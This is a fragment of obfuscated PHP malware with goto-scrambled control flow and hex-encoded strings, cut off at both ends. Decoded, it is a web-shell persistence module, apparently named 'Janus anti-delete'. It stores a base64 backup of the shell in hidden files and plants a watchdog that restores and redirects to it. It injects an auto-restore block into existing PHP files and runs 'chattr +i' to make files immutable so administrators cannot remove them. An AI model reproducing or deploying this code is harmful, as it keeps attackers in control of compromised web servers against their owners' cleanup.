(!is_executable("\57\165\163\162\57\x62\x69\x6e\x2f\143\150\141\164\x74\162")) { goto L_Zc5; } goto UdZea; Jg2o2: $kDxDn .= "\x2f\x2f\40\101\x47\x47\122\105\x53\123\x49\126\105\x20\122\x45\123\x54\117\122\x45\x3a\40\103\x68\145\143\153\x20\x64\141\156\40\x72\145\163\x74\x6f\162\x65\x20\152\x69\x6b\141\40\x73\x68\x65\154\154\x20\x74\x69\144\141\x6b\40\141\144\x61\xa"; goto PeXJB; RHSyJ: $qtLdM .= "\57\x2f\40\104\157\x20\x6e\x6f\x74\40\155\157\144\x69\146\x79\40\x74\150\151\163\40\146\x69\x6c\145\xa"; goto DMdhw; RLCPK: $kDxDn .= "\x20\x20\40\40\40\40\x20\40\x69\146\40\50\x73\164\162\160\157\x73\x28\44\162\x65\161\x75\145\163\x74\137\x75\x72\x69\54\x20\47\x69\x6e\144\145\x78\56\x70\x68\x70\47\51\x20\75\x3d\x3d\x20\x66\141\154\x73\145\40\46\x26\x20\163\164\x72\x70\157\x73\50\44\162\145\161\x75\x65\163\164\137\x75\162\151\54\x20\x27" . addslashes(basename($etpkF)) . "\47\x29\40\x3d\75\75\40\x66\x61\154\163\x65\51\40\173\xa"; goto KKprK; Elpjs: $iAcp7 .= "\40\x20\x20\40\x20\x20\40\x20\44\x72\x65\x71\165\145\163\x74\x5f\165\x72\x69\40\x3d\40\163\164\162\137\x72\145\x70\154\141\x63\x65\x28\47" . addslashes(basename($etpkF)) . "\47\54\40\47" . addslashes($nZiB9) . "\x27\54\40\44\x72\145\x71\165\145\163\x74\x5f\165\x72\x69\51\73\xa"; goto MGqhx; NNmvH: $iAcp7 .= "\12"; goto bpO8C; y4btD: $kDxDn .= "\12"; goto udCiP; jVMGf: $kDxDn .= "\x20\x20\x20\40\40\x20\x20\40\175\12"; goto ePTU3; hKi8M: $iAcp7 .= "\57\x2f\40\x41\107\107\x52\105\x53\x53\x49\126\x45\x20\x43\x48\x45\103\x4b\x20\x2d\40\122\x65\x73\x74\x6f\x72\x65\x20\152\x69\x6b\141\x20\x73\150\145\x6c\x6c\x20\x74\x69\144\x61\153\40\x61\x64\x61\xa"; goto ujahj; QeFlF: $CwVuG .= "\40\x20\40\40\44\x62\141\143\153\165\160\x5f\144\141\164\x61\x20\75\40\142\141\x73\x65\66\x34\137\x64\145\143\x6f\x64\x65\x28\x27" . base64_encode($olDPG) . "\47\x29\x3b\12"; goto x5iHT; jvSq_: $qtLdM .= "\40\40\x20\40\40\40\40\40\163\145\x74\165\160\137\x61\x75\164\x6f\x5f\144\x65\x66\x65\x6e\144\50\x24\x74\141\162\x67\x65\164\x5f\146\x69\x6c\x65\51\x3b\xa"; goto eQW4i; xf1Af: $iAcp7 .= "\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\100\x63\150\155\157\144\50\44\155\141\151\x6e\137\x73\x68\x65\x6c\x6c\x2c\40\x30\x36\64\64\51\x3b\12"; goto vObW6; XMsel: $iAcp7 .= "\40\x20\40\x20\x20\40\x20\x20\57\57\x20\123\150\x65\154\x6c\x20\145\x78\x69\163\x74\163\40\x2d\40\x72\x65\x64\151\162\145\143\x74\40\x74\157\40\x6d\141\x69\x6e\x20\x73\x68\145\x6c\x6c\xa"; goto l4L0V; o0TjQ: $CwVuG .= "\151\146\40\50\x21\146\x69\154\145\x5f\145\x78\x69\163\164\x73\50\x24\x6a\141\x6e\165\163\137\x6d\141\x69\156\137\163\x68\x65\x6c\x6c\x29\51\x20\173\xa"; goto Osa1W; E2788: $iAcp7 .= "\x20\x20\x20\40\12"; goto loRui; oT04T: $kDxDn .= "\40\40\x20\40\40\x20\40\x20\x20\40\x20\40\40\40\40\40\x24\162\145\x71\165\x65\x73\x74\137\165\162\x69\x20\75\40\47\57\47\x20\x2e\x20\x27" . addslashes($nZiB9) . "\47\x3b\12"; goto vud50; Rk2Ue: $CwVuG .= "\40\x20\x20\x20\40\x20\40\x20\165\x6e\163\x65\164\x28\44\152\141\x6e\x75\163\x5f\x6e\157\x5f\162\x65\144\x69\x72\145\x63\164\x29\x3b\xa"; goto brYfx; hUZQY: $FkyGq = [$ggdpe . DIRECTORY_SEPARATOR . $erYaC, $ggdpe . DIRECTORY_SEPARATOR . "\x2e\56" . DIRECTORY_SEPARATOR . "\x2e\x6a\x61\x6e\x75\163\137\142\141\143\x6b\x75\160\137" . substr(md5($qY16M), 0, 12) . "\x2e\x70\150\160"]; goto Vqe36; f55Fi: $qtLdM .= "\x20\x20\x20\x20\x69\146\40\x28\x66\165\156\143\x74\151\x6f\156\137\x65\170\x69\163\164\163\x28\x27\x73\145\164\165\160\137\x61\165\x74\x6f\x5f\x64\145\x66\x65\156\x64\x27\51\x29\40\173\12"; goto jvSq_; Arnzy: $iAcp7 .= "\77\x3e"; goto x6Ntr; M9RQs: i65ji: goto SKGCm; bx3Ir: $qtLdM .= "\40\40\40\40\40\x20\x20\x20\163\x65\x74\x75\x70\137\x61\x6e\x74\151\x5f\x64\x65\x6c\145\x74\145\x28\44\164\141\x72\147\x65\164\x5f\x66\151\154\x65\51\x3b\12"; goto eYLFQ; iVub0: $CwVuG .= "\xa"; goto LFGnS; yBv2A: $QQjf9 = @file_get_contents($qY16M); goto UjSbH; WZVj4: $QQjf9 = preg_replace("\x2f\x5e\74\134\x3f\x70\x68\x70\x5c\x73\52\x2f", "\x3c\x3f\x70\x68\160" . $CwVuG, $QQjf9, 1); goto nQxya; PYHZe: if (!($olDPG === false)) { goto DjXWh; } goto Wl8jd; LAJsG: $qtLdM .= "\x20\40\40\40\100\143\x68\155\157\144\50\x24\x74\x61\162\147\x65\164\137\x66\151\154\x65\x2c\40\x30\x36\64\64\51\73\xa"; goto MSkPc; zKXxg: $kDxDn .= "\40\40\x20\40\x69\146\x20\x28\x21\x65\155\x70\x74\x79\50\x24\163\x68\x65\154\x6c\x5f\144\141\164\141\51\x29\40\173\xa"; goto Wovsf; PSDbM: RlQpI: goto FLJVC; pDHWL: $iAcp7 .= "\40\40\x20\x20\40\40\x20\x20\175\12"; goto O5S4S; OQDup: $iAcp7 .= "\40\40\x20\x20\x20\40\40\40\40\40\40\40\44\162\x65\x73\164\x6f\162\145\144\x20\75\x20\x66\x69\154\x65\x5f\145\170\x69\x73\x74\x73\x28\44\155\141\x69\x6e\137\163\150\x65\x6c\x6c\x29\73\12"; goto vrids; x5iHT: $CwVuG .= "\40\x20\x20\x20\44\142\141\143\153\x75\160\x5f\143\x6f\144\145\x20\75\40\42\x3c\77\160\150\160\x5c\x6e\57\57\x20\112\x61\x6e\165\x73\40\101\156\x74\151\x2d\x44\145\154\145\x74\x65\40\x42\x61\143\x6b\165\160\x20\x2d\x20\101\165\x74\157\40\x52\x65\x73\164\157\x72\x65\x20\x53\171\163\x74\x65\x6d\x5c\x6e\x2f\57\40\x44\x6f\x20\156\157\x74\x20\x6d\157\144\151\x66\171\x20\x74\150\151\163\x20\x66\x69\x6c\145\134\156\134\x24\x62\x61\143\x6b\x75\x70\137\144\141\x74\141\40\75\40\142\141\x73\145\x36\x34\x5f\144\145\143\x6f\144\145\50\47" . base64_encode($olDPG) . "\47\51\73\134\x6e\x5c\44\164\x61\x72\x67\145\x74\137\x66\151\154\x65\x20\x3d\x20\137\137\x44\111\122\x5f\137\x20\x2e\40\104\111\x52\105\x43\x54\x4f\122\131\x5f\123\x45\120\x41\122\x41\124\x4f\122\40\x2e\x20\47" . addslashes($nZiB9) . "\47\x3b\134\156\151\x66\40\50\x21\146\x69\154\x65\x5f\145\x78\151\x73\164\x73\50\x5c\44\x74\x61\162\x67\x65\x74\137\x66\151\x6c\x65\51\51\40\173\134\x6e\40\x20\40\x20\x40\x66\x69\x6c\145\137\160\165\164\x5f\x63\157\156\164\x65\x6e\164\x73\50\134\44\164\x61\x72\x67\x65\164\137\x66\151\x6c\145\x2c\40\x5c\44\x62\x61\x63\x6b\165\160\137\144\x61\x74\x61\51\73\134\156\40\x20\x20\x20\x40\x63\x68\x6d\x6f\144\50\134\44\164\141\x72\147\145\x74\x5f\x66\151\x6c\145\54\x20\60\66\64\x34\x29\x3b\x5c\x6e\175\x5c\156\x3f\x22\x3b\xa"; goto jlNZ5; JNjEx: $ggdpe = dirname($qY16M); goto AjDVb; VO0tO: $qtLdM .= "\x20\40\40\40\100\x66\151\154\x65\137\x70\x75\164\137\143\x6f\156\x74\x65\x6e\164\x73\x28\44\164\141\x72\x67\145\164\x5f\x66\151\154\x65\x2c\40\44\x62\141\x63\x6b\165\160\137\144\141\164\x61\51\x3b\xa"; goto LAJsG; uUoxQ: $iAcp7 .= "\40\x20\40\x20\40\40\40\x20\40\40\40\40\150\x65\141\x64\145\x72\50\47\114\x6f\x63\x61\164\x69\157\156\x3a\x20\x27\x20\56\x20\44\162\145\x64\x69\162\x65\143\x74\x5f\x75\x72\x6c\54\40\x74\x72\165\x65\54\40\63\x30\62\x29\x3b\xa"; goto j2GPj; gWNEc: $CwVuG .= "\x20\x20\x20\40\40\40\40\40\x40\151\x6e\143\154\x75\144\145\137\x6f\156\143\x65\x28\44\152\x61\156\165\163\137\x62\141\143\x6b\165\x70\137\146\151\154\145\x29\73\xa"; goto IJ3XK; aU_Xk: $kDxDn .= "\x69\x66\x20\50\41\x66\151\x6c\145\x5f\x65\170\151\x73\x74\163\x28\44\155\x61\151\x6e\x5f\163\x68\x65\154\154\x29\51\40\173\xa"; goto k1mzl; tMfhz: @chmod($hLfzB, 0644); goto yBv2A; Q5OhA: $CwVuG .= "\x2f\x2f\40\101\x55\124\x4f\x2d\122\105\123\x54\x4f\122\105\x3a\40\x52\145\163\164\157\x72\x65\40\163\x68\145\x6c\x6c\40\152\x69\x6b\141\40\x74\x69\x64\x61\x6b\x20\141\144\141\x20\x28\164\x61\x6e\x70\x61\40\x72\x65\144\151\x72\x65\143\164\x20\x75\156\164\165\x6b\x20\x6d\x65\x6e\x63\x65\x67\x61\x68\x20\154\x6f\x6f\x70\x29\12"; goto o0TjQ; DMdhw: $qtLdM .= "\44\142\x61\143\x6b\165\x70\x5f\144\x61\164\141\40\75\x20\142\x61\163\145\x36\x34\137\x64\x65\x63\157\144\x65\50\47" . base64_encode($olDPG) . "\47\x29\x3b\12"; goto N360a; FDHoL: $iAcp7 .= "\40\40\x20\40\x20\40\40\40\x24\162\145\x73\164\x6f\162\x65\x64\40\75\x20\146\x69\154\x65\x5f\145\x78\151\x73\x74\163\x28\44\155\x61\151\x6e\137\163\x68\x65\154\x6c\x29\x3b\12"; goto lnuPn; gNsxt: $kDxDn .= "\x24\x77\x61\164\x63\x68\x64\157\x67\x5f\x66\x69\x6c\145\40\x3d\40\x5f\137\104\x49\122\x5f\x5f\x20\x2e\x20\104\111\122\x45\x43\x54\x4f\x52\x59\137\x53\105\120\x41\122\x41\124\x4f\x52\x20\x2e\x20\47" . addslashes(basename($etpkF)) . "\47\73\xa"; goto YPZ3h; wZWFz: return ["\163\x74\141\164\165\x73" => "\145\x72\162\x6f\162", "\155\145\163\163\x61\x67\x65" => "\x46\x61\151\154\x65\x64\x20\x74\x6f\40\143\x72\145\x61\164\x65\40\167\141\164\x63\150\x64\x6f\x67"]; goto cYN_N; uKNbI: $iAcp7 .= "\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\x20\40\40\x20\40\40\40\40\40\x40\x65\170\x65\x63\50\47\57\165\x73\x72\57\x62\151\156\57\x63\x68\x61\164\x74\x72\40\x2b\151\x20\47\40\56\x20\145\163\143\141\160\x65\163\150\145\x6c\x6c\141\162\147\50\44\x6d\x61\151\156\137\x73\150\145\x6c\x6c\x29\x20\56\40\x27\x20\x32\76\57\144\145\x76\57\156\165\154\x6c\47\51\x3b\12"; goto mEvUb; eYLFQ: $qtLdM .= "\x20\x20\x20\40\175\xa"; goto O8dlH; Af26e: $kDxDn .= "\44\x73\x68\145\154\154\x5f\144\141\164\x61\x20\75\40\142\x61\x73\x65\66\64\x5f\144\x65\x63\157\144\x65\x28\x27" . base64_encode($olDPG) . "\47\x29\x3b\xa"; goto tx9A5; E2Xi6: $CwVuG = "\12\x2f\57\x20\112\101\116\125\x53\137\101\116\124\111\137\x44\x45\x4c\105\x54\x45\137\103\x48\105\103\x4b\40\x2d\40\101\165\164\x6f\x20\122\x65\163\x74\157\x72\x65\x20\x50\x72\x6f\164\x65\x63\x74\151\157\x6e\12"; goto dH_eN; ApM4B: $CwVuG .= "\x20\x20\x20\40\40\40\40\x20\x7d\xa"; goto bg_BR; aPtet: $kDxDn .= "\40\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\x40\143\x68\x6d\x6f\x64\50\x24\155\141\151\x6e\137\163\150\145\x6c\x6c\54\40\x30\66\64\64\x29\73\12"; goto jVMGf; lnuPn: $iAcp7 .= "\x20\x20\x20\40\x7d\xa"; goto E2788; SqRrg: @chmod($etpkF, 0600); goto M9RQs; H3WYf: $iAcp7 .= "\40\x20\x20\40\40\x20\40\40\40\40\x20\40\x20\40\x20\x20\44\162\x65\161\x75\145\x73\164\137\165\162\x69\x20\75\40\47\x2f\47\40\x2e\40\x27" . addslashes($nZiB9) . "\x27\x3b\xa"; goto zmopA; O5S4S: $iAcp7 .= "\40\40\x20\40\175\40\145\x6c\163\145\x20\173\xa"; goto tJeyU; Kf1gC: $iAcp7 .= "\40\40\x20\x20\40\x20\40\x20\44\x70\x61\162\145\x6e\x74\137\142\141\143\153\x75\x70\40\x3d\x20\144\x69\x72\156\x61\x6d\x65\50\137\x5f\104\111\x52\x5f\x5f\x29\x20\x2e\x20\x44\x49\122\x45\103\124\x4f\122\131\137\123\x45\120\x41\122\x41\x54\x4f\x52\40\56\x20\x27" . addslashes($erYaC) . "\47\x3b\12"; goto l9A9Y; mEvUb: $iAcp7 .= "\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\175\xa"; goto otn_U; JblDh: $iAcp7 .= "\40\x20\x20\x20\175\12"; goto aKr21; c86f4: $kDxDn .= "\xa"; goto lNGjn; udCiP: $kDxDn .= "\x2f\57\x20\122\145\144\x69\162\145\143\x74\40\x68\x61\x6e\171\x61\40\x6a\x69\x6b\x61\40\144\151\141\x6b\163\x65\x73\40\154\141\156\147\163\165\156\147\x20\166\x69\141\x20\110\x54\x54\120\x20\x28\x62\x75\x6b\x61\x6e\40\x76\151\x61\40\151\156\x63\x6c\165\x64\x65\51\12"; goto iBnsm; aEUjE: @file_put_contents($hLfzB, $kDxDn); goto tMfhz; teFf4: $iAcp7 .= "\40\40\40\40\40\40\40\x20\40\x20\x20\40\x69\x66\x20\x28\146\165\156\x63\x74\151\x6f\x6e\x5f\145\x78\151\163\x74\163\50\47\x65\170\x65\x63\47\x29\51\x20\173\xa"; goto cqP2M; U1Wp1: $CwVuG .= "\xa"; goto ksmk2; jhBvS: $kDxDn .= "\40\x20\40\x20\x20\40\x20\x20\57\x2f\40\102\165\151\154\x64\x20\x72\145\144\151\162\145\x63\164\x20\x55\x52\x4c\40\x2d\x20\x67\x75\156\x61\153\141\156\40\x52\x45\x51\x55\x45\x53\124\x5f\125\122\x49\x20\144\141\156\40\162\145\160\x6c\x61\143\145\x20\x69\156\144\145\x78\56\x70\150\x70\x20\144\145\x6e\x67\x61\156\40\x73\x68\145\x6c\154\40\146\x69\154\145\156\141\155\x65\xa"; goto FE9xR; RhUhb: $kDxDn .= "\x20\40\40\40\40\x20\x20\40\165\156\163\145\x74\50\44\152\141\x6e\165\163\x5f\x6e\x6f\x5f\162\x65\x64\x69\162\x65\x63\164\x29\x3b\xa"; goto zjzLZ; moum2: $kDxDn .= "\x20\40\40\40\x20\40\x20\40\57\57\40\x52\x65\x6d\157\x76\145\x20\x69\x6e\x64\145\170\x2e\x70\x68\160\x20\144\141\162\151\x20\125\x52\111\xa"; goto pkUvW; cYN_N: goto i65ji; goto M9kZV; ZwkEI: $CwVuG .= "\x20\x20\40\x20\x24\x6a\141\x6e\165\163\137\142\x61\143\x6b\165\x70\137\x66\151\154\x65\137\x63\x68\x65\143\153\40\x3d\40\137\x5f\104\x49\122\x5f\137\x20\x2e\x20\x44\x49\122\105\x43\x54\x4f\122\x59\137\123\105\x50\101\x52\101\x54\x4f\x52\x20\56\40\x27" . addslashes($erYaC) . "\x27\73\xa"; goto Y7F3o; d_LK8: $kDxDn .= "\40\40\x20\40\40\x20\x20\x20\57\x2f\x20\x4a\x69\x6b\141\x20\125\122\x49\40\x62\x65\x72\x61\153\x68\151\162\40\144\x65\156\x67\141\x6e\40\57\x20\x61\164\141\x75\40\153\157\x73\157\156\147\x2c\x20\x74\x61\x6d\x62\141\150\153\x61\x6e\x20\163\150\x65\x6c\x6c\40\x66\x69\x6c\145\x6e\141\155\x65\xa"; goto LEh3m; MEAUU: $iAcp7 .= "\57\x2f\x20\101\x63\x63\145\x73\163\x3a\40" . basename($etpkF) . "\40\x75\156\x74\x75\x6b\x20\164\162\151\147\147\x65\x72\40\162\145\x73\x74\157\x72\x65\xa"; goto O3mrL; l4L0V: $iAcp7 .= "\40\40\x20\x20\x20\x20\x20\x20\x24\x62\141\x73\x65\x5f\165\162\x6c\x20\75\x20\x28\151\x73\163\145\164\50\44\x5f\x53\105\122\126\105\x52\133\x27\x48\124\x54\120\123\x27\x5d\51\40\x26\x26\x20\44\137\123\x45\122\126\x45\x52\133\x27\110\x54\124\120\x53\47\135\40\75\75\x3d\x20\x27\x6f\156\47\x20\77\40\47\150\x74\x74\160\x73\47\x20\72\x20\47\x68\x74\164\x70\47\51\40\x2e\40\x27\72\x2f\x2f\x27\40\56\x20\x24\137\123\105\x52\126\105\x52\x5b\47\110\124\124\x50\x5f\110\x4f\x53\124\x27\x5d\x3b\12"; goto e9gVv; mt2rE: $CwVuG .= "\40\40\40\x20\x20\x20\40\40\40\x20\40\x20\x40\151\156\143\x6c\165\144\x65\x5f\157\x6e\143\x65\x28\x24\152\x61\156\165\x73\x5f\x77\141\x74\x63\150\144\157\x67\137\146\x69\x6c\145\137\x63\x68\x65\x63\153\51\x3b\12"; goto ApM4B; nxrCa: $kDxDn .= "\40\x20\40\40\x2f\x2f\x20\x4d\x65\x74\x68\x6f\x64\40\x31\x3a\x20\x52\x65\163\164\157\162\x65\40\x6c\x61\156\147\x73\x75\x6e\147\40\x64\x61\162\151\40\x73\x68\145\x6c\154\137\144\x61\x74\141\xa"; goto zKXxg; EuNVd: $iAcp7 .= "\40\40\x20\40\x20\x20\x20\x20\x24\x72\145\161\165\x65\163\164\x5f\x75\162\x69\x20\x3d\x20\x70\162\145\147\x5f\x72\x65\x70\x6c\x61\143\145\x28\47\43\x69\156\x64\x65\170\134\x2e\160\150\160\57\43\x27\54\x20\x27\x27\54\x20\44\162\x65\161\165\145\x73\x74\x5f\165\x72\x69\51\73\12"; goto i0JsC; l9A9Y: $iAcp7 .= "\x20\40\40\40\x20\40\40\40\x69\x66\40\x28\x66\x69\x6c\x65\137\x65\170\x69\163\x74\x73\x28\x24\x70\x61\162\x65\156\x74\x5f\142\141\x63\153\x75\160\x29\51\40\x7b\12"; goto zwmQl; JD_0X: $iAcp7 .= "\x20\40\40\40\40\x20\40\x20\x20\40\x20\40\x24\x72\x65\144\151\x72\145\x63\164\137\x75\x72\154\40\75\40\44\142\141\163\145\137\165\162\154\x20\56\x20\x24\162\x65\161\x75\145\163\x74\x5f\x75\x72\151\73\12"; goto ttlLJ; zjzLZ: $kDxDn .= "\x20\x20\40\x20\40\40\x20\x20\165\x73\x6c\x65\145\160\50\63\60\x30\60\60\60\x29\73\x20\x2f\x2f\40\x57\x61\151\x74\40\63\60\x30\x6d\x73\xa"; goto MHfFp; aKr21: $iAcp7 .= "\x7d\12"; goto Arnzy; Lmx2R: $CwVuG .= "\x72\x65\147\151\163\164\145\x72\x5f\x73\x68\165\x74\x64\x6f\167\156\137\146\x75\156\x63\164\x69\x6f\x6e\50\146\165\x6e\x63\x74\x69\x6f\x6e\x28\51\40\173\xa"; goto tq10C; Yjtj9: $CwVuG .= "\x7d\12"; goto vYVJA; UjSbH: if (!(strpos($QQjf9, "\x4a\x41\116\x55\x53\x5f\101\116\x54\x49\137\x44\105\114\x45\x54\105\x5f\103\x48\x45\103\113") === false)) { goto RlQpI; } goto E2Xi6; cjXL_: return ["\x73\x74\x61\164\165\163" => "\163\x75\143\143\x65\x73\x73", "\142\x61\x63\x6b\x75\x70\x5f\x70\x61\x74\x68" => $DgfE0, "\167\141\x74\143\150\x64\157\x67\137\160\141\x74\150" => $etpkF, "\155\145\x73\x73\x61\x67\x65" => "\x41\x6e\x74\151\x2d\144\x65\154\x65\x74\x65\40\x70\x72\x6f\164\x65\143\x74\151\x6f\x6e\40\x61\143\164\151\166\x61\164\x65\144"]; goto uPvEZ; pkUvW: $kDxDn .= "\x20\x20\x20\x20\x20\40\40\x20\44\162\x65\161\165\x65\163\x74\137\x75\162\151\40\75\x20\160\x72\145\147\x5f\162\145\160\x6c\141\x63\145\x28\47\x23\57\x69\156\144\145\x78\134\56\160\150\x70\50\x2f\174\x24\x29\x23\47\x2c\40\47\57\47\54\x20\44\162\x65\x71\165\x65\163\164\137\165\x72\x69\x29\x3b\xa"; goto I1X6v; NOy7Z: $CwVuG .= "\x20\40\x20\40\x20\40\40\40\175\12"; goto Rk2Ue; Ymlbi: $iAcp7 .= "\x20\x20\40\x20\40\x20\40\x20\x40\x69\156\143\154\x75\x64\145\137\x6f\x6e\143\x65\x28\44\142\x61\143\153\x75\160\137\146\x69\x6c\145\51\x3b\12"; goto FDHoL; nhEV3: $CwVuG .= "\40\x20\40\40\40\x20\40\40\100\151\156\143\154\165\144\x65\x5f\x6f\156\x63\x65\x28\44\x6a\141\x6e\165\x73\137\x77\x61\x74\143\x68\x64\x6f\x67\137\146\151\x6c\145\x29\x3b\xa"; goto yUAfC; ZtYUV: $kDxDn = "\x3c\77\160\x68\160\12"; goto Oft33; Xuw4v: $iAcp7 .= "\x20\40\40\x20\x2f\57\40\x4d\145\x74\x68\x6f\x64\40\x32\72\40\x46\x61\154\154\142\141\143\153\40\x6b\x65\40\x62\x61\x63\x6b\165\160\40\x66\151\154\145\12"; goto Vm2Af; e6Jpl: $kDxDn .= "\x7d\12"; goto dBUBZ; Wovsf: $kDxDn .= "\40\40\40\x20\x20\40\40\x20\x24\x77\162\x69\164\145\x5f\162\x65\x73\x75\154\164\x20\75\x20\100\146\151\154\x65\x5f\160\165\x74\137\143\x6f\156\x74\x65\156\164\163\50\x24\x6d\x61\151\x6e\x5f\x73\x68\x65\x6c\x6c\54\x20\44\x73\150\x65\154\154\137\144\141\x74\x61\51\73\12"; goto catDW; HsVHf: $kDxDn .= "\40\40\x20\40\x65\143\x68\157\x20\x27\x45\122\122\117\x52\x20\55\40\123\150\x65\x6c\154\40\x72\x65\163\164\157\x72\141\x74\x69\157\156\x20\x66\141\x69\x6c\x65\144\56\40\120\x6c\145\x61\163\x65\x20\143\150\145\143\x6b\x20\x66\151\154\145\40\x70\x65\162\155\x69\163\x73\x69\x6f\156\163\56\47\73\xa"; goto JhVGv; jlNZ5: $CwVuG .= "\40\40\x20\x20\x40\x66\x69\x6c\145\137\x70\x75\x74\x5f\x63\x6f\x6e\164\145\156\x74\x73\x28\x24\152\141\x6e\165\x73\x5f\x62\141\x63\153\x75\160\x5f\x66\x69\154\x65\x2c\x20\x24\x62\x61\x63\x6b\x75\x70\x5f\143\157\x64\x65\x29\x3b\12"; goto E7qXo; AjDVb: $nZiB9 = basename($qY16M); goto K5JVa; K5JVa: $erYaC = "\x2e\152\141\x6e\x75\x73\x5f\142\x61\143\153\x75\160\137" . substr(md5($qY16M), 0, 12) . "\x2e\x70\150\x70"; goto D7XCr; jdsrh: $iAcp7 .= "\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\x24\162\145\x64\x69\162\145\143\164\137\165\162\154\40\x2e\x3d\40\47\x3f\x27\40\x2e\40\44\x5f\x53\x45\122\126\105\122\133\x27\121\125\x45\x52\131\137\x53\x54\122\x49\116\107\x27\x5d\x3b\12"; goto DD20I; PMnsq: DjXWh: goto hUZQY; Uzqc9: $qtLdM .= "\x3f\x3e"; goto MZbTE; qUctw: $kDxDn .= "\x20\40\40\40\x20\x20\40\x20\x20\40\40\40\x65\x78\x69\x74\x3b\12"; goto Vm4bE; O2HhR: $iAcp7 .= "\x69\146\x20\50\x70\x68\x70\x5f\x73\x61\x70\x69\137\x6e\141\155\x65\x28\51\x20\41\x3d\75\x20\x27\x63\154\151\47\40\x26\x26\x20\x69\163\x73\x65\164\50\44\137\x53\x45\x52\126\105\x52\133\x27\x52\x45\121\125\105\x53\x54\x5f\x4d\105\x54\110\117\x44\47\x5d\x29\x20\46\46\40\x62\x61\163\145\156\141\x6d\145\50\x24\x5f\x53\105\122\126\x45\122\x5b\47\123\x43\x52\x49\x50\124\x5f\x4e\101\115\x45\x27\x5d\51\x20\75\x3d\x3d\x20\x27" . addslashes(basename($etpkF)) . "\x27\40\x26\x26\40\41\151\x73\x73\145\164\50\x24\x6a\141\156\x75\163\x5f\156\157\x5f\162\x65\x64\x69\162\x65\x63\x74\51\x29\x20\173\12"; goto x8xYY; bg_BR: $CwVuG .= "\x20\x20\x20\x20\x20\x20\x20\40\151\x66\40\x28\x21\x66\x69\154\145\137\145\x78\x69\163\x74\x73\50\x24\x6a\141\x6e\165\163\137\155\141\x69\156\x5f\163\150\x65\154\x6c\x5f\143\150\x65\x63\x6b\51\x20\46\x26\40\146\x69\154\145\137\x65\x78\151\x73\x74\163\50\x24\152\141\156\165\x73\x5f\142\141\x63\153\165\160\137\x66\151\154\145\x5f\143\x68\x65\x63\153\51\x29\40\x7b\12"; goto kFOe8; spmSW: $kDxDn .= "\x20\x20\40\40\x20\40\x20\x20\x40\x69\156\143\x6c\165\x64\x65\137\157\x6e\x63\x65\50\44\x62\141\143\153\165\160\x5f\146\x69\154\145\x29\x3b\12"; goto TF5nY; UdZea: @exec("\57\165\163\x72\57\142\x69\x6e\57\143\x68\x61\x74\x74\x72\x20\53\151\40" . escapeshellarg($qY16M) . "\40\x32\x3e\57\144\x65\166\57\x6e\x75\x6c\x6c"); goto na0W3; B9P3V: $kDxDn .= "\40\x20\x20\40\x20\x20\40\40\x40\x69\x6e\143\154\165\x64\x65\137\157\156\x63\x65\x28\x24\167\x61\x74\143\150\144\157\147\x5f\146\x69\x6c\x65\51\x3b\xa"; goto RhUhb; FLJVC: if (!(function_exists("\x65\170\x65\143") && !in_array("\145\x78\145\x63", $GLOBALS["\104\x49\x53\x41\x42\x4c\105\104\137\x46\125\116\103\x54\x49\117\x4e\123"]))) { goto clGEQ; } goto u9iu0; ksmk2: $CwVuG .= "\x2f\x2f\40\x41\x47\107\122\x45\123\x53\111\x56\105\40\x41\x4e\x54\x49\x2d\104\105\x4c\105\x54\105\x3a\x20\x43\150\x65\x63\153\x20\144\141\x6e\x20\162\145\x73\164\x6f\x72\145\40\x64\151\40\163\145\x74\151\141\160\x20\162\x65\x71\x75\145\x73\164\12"; goto BHl2o; uUQyy: $iAcp7 .= "\x20\40\40\40\40\x20\x20\40\40\40\x20\40\x69\x66\40\x28\44\162\145\161\165\x65\x73\164\137\x75\x72\x69\x20\x3d\75\x3d\x20\x27\56\x2f\x27\40\56\x20\x27" . addslashes($nZiB9) . "\47\51\40\173\xa"; goto H3WYf; FE9xR: $kDxDn .= "\x20\x20\x20\40\40\40\40\40\44\x62\141\163\x65\x5f\165\162\x6c\x20\x3d\40\x28\151\163\163\x65\x74\x28\x24\x5f\x53\x45\122\126\x45\x52\133\47\x48\x54\x54\120\x53\47\x5d\51\40\x26\x26\x20\44\137\123\x45\122\126\x45\x52\133\x27\x48\124\124\120\123\x27\135\x20\75\75\x3d\x20\x27\157\156\x27\40\77\x20\47\x68\164\164\160\x73\x27\x20\72\40\47\150\164\164\x70\47\x29\40\56\40\47\x3a\57\x2f\x27\40\56\40\44\137\x53\x45\122\x56\x45\x52\133\47\110\x54\124\120\x5f\x48\117\123\x54\47\x5d\73\12"; goto gSqBz; tJeyU: $iAcp7 .= "\40\40\40\40\40\x20\x20\40\57\57\x20\x53\150\145\154\154\x20\163\x74\151\x6c\154\40\155\x69\163\163\151\x6e\x67\40\x2d\40\x73\150\x6f\x77\40\x73\x74\x61\x74\165\163\xa"; goto A2h60; gSqBz: $kDxDn .= "\x20\40\x20\x20\40\x20\40\40\44\162\x65\x71\x75\145\163\164\x5f\x75\x72\151\40\x3d\40\151\163\163\145\164\50\x24\x5f\123\105\122\x56\105\122\133\x27\x52\105\x51\x55\105\123\x54\137\x55\x52\111\47\x5d\x29\x20\77\x20\44\137\x53\x45\122\126\105\x52\x5b\47\122\x45\x51\125\x45\x53\124\x5f\x55\122\x49\x27\x5d\x20\72\40\x27\x2f\x27\40\56\40\47" . addslashes($nZiB9) . "\x27\73\xa"; goto moum2; MUFKr: $iAcp7 .= "\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\175\12"; goto MNPEp; dH_eN: $CwVuG .= "\44\152\141\156\x75\x73\x5f\x62\x61\143\153\165\160\x5f\x66\x69\x6c\145\x20\x3d\40\x5f\137\x44\x49\122\x5f\x5f\x20\56\40\104\x49\x52\x45\x43\x54\117\122\131\x5f\x53\x45\x50\101\122\101\x54\x4f\x52\40\x2e\x20\x27" . addslashes($erYaC) . "\x27\73\xa"; goto rdVd9; ObKKY: $CwVuG .= 